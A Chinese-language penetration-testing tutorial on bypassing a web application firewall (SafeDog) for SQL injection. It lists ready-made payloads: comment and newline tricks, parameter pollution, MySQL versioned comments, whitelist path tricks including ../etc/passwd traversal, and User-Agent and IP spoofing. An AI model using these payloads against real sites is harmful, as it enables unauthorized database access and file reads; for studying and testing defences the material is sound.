微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

渗透测试07 WAF绕过——SQL注入

渗透测试07 WAF绕过——sql注入
WAF其实就是一个规则字典,只要用户输入的内容在字典中被正则匹配出来,就会触发相应的规则和操作,阻止相关请求。

更改提交方式,比如把get请求的数据换成post请求来提交,如果对方不支持POST请求提交的方式,那么也会注入失败。
https://www.bilibili.com/video/BV1JZ4y1c7ro?p=17&spm_id_from=pageDriver
特殊符号绕过
```
/**/ 是MysqL数据库中的注释
select databases/**/();
```
```
?id=-1 union%23a%0Aselect 1, 2, 3;%23
%23是#,在MysqL中是注视符号
```
安全狗(WAF)在匹配时,遇到union%23(#),则认为匹配结束,留下union,而换行符在ASCII码是0xA,也就是上面的%0A,用来将#号后面的内容闭合掉,如果不加%0A,那么select和后面的语句都会被当作是注释的内容被注释掉。
## HTTP参数污染
```
?id=1/**&id=-1%20union%20select%201,2,3%23#*/
```
如果是后台是通过PHP/Apache进行搭建的,那么,就会接收最后一个值当作参数,在数据库中其实就是
```
select * from users where id=-1 union select 1, 2, 3#*/
```
```
?id=1/**select * from users*/;
```
## FUZZ大法
在绕过的时候,可以尝试对%0A进行变种,比如变成%0B%0C以及%0ddddDDD等。不断进行尝试,判断哪种可以绕过安全狗(WAF)。
Web渗透测试Fuzz字典分享
### IP白名单绕过
查看网站的IP的地址,然后提交请求的时候,伪造成网站的IP地址进行访问,网站肯定不会屏蔽来自于自己的IP的请求。
### 静态资源绕过
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求。
```
http://127.0.0.1/info.php?id=1
http://127.0.0.1/info.php/1.txt/?d=1
```
> Aspx/PHP只识别到前面的.aspx/.PHP,后面基本不识别。
### url白名单
为了防止误拦,部分waf内置认的白名单列表,如admin/manager/system等管理后台。只要url中存在白名单的字符串,就作为白名单不进行检测。常见的url构造姿势:
```
http://127.0.0.1/info.php/admin.php/?id=1
http://127.0.0.1/info.php?a=/manager/&b=../etc/passwd
http://127.0.0.1/../../manager/../sql.asp?id=2
```
### 爬虫白名单
部分waf有提供爬虫白名单功能,识别爬虫的技术一般有两种:
* UserAgent
* 通过行为来判断
UserAgent可以很容易欺骗,我们可以伪装成爬虫尝试绕过。
比如在请求时,可以设置为百度的请求头,WAF就会认为这是从百度搜索引擎过来的请求,于是放行。
User Agent Swithch(FireFox附加组件),下载地址:https://addons.mozilla.org/en-US/firefox/addn/user-agent-switcher
### 其他注入语句
```
/!50001 select * from user/;
%20union%20/!44509select/%201,2,3
%20/!44509union/%230aselect%201, 2, 3
%20union%20all%23%0a%20select*/%201,2,3%23
```
### python脚本

安全狗部分拦截规则

http agent:https://www.feiniaomy.com/post/429.html
### 其他注入方式,中转注入
sqlMAP读取本地脚本——>>本地搭建脚本(请求数据包自定义编写)——>>访问远程地址

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐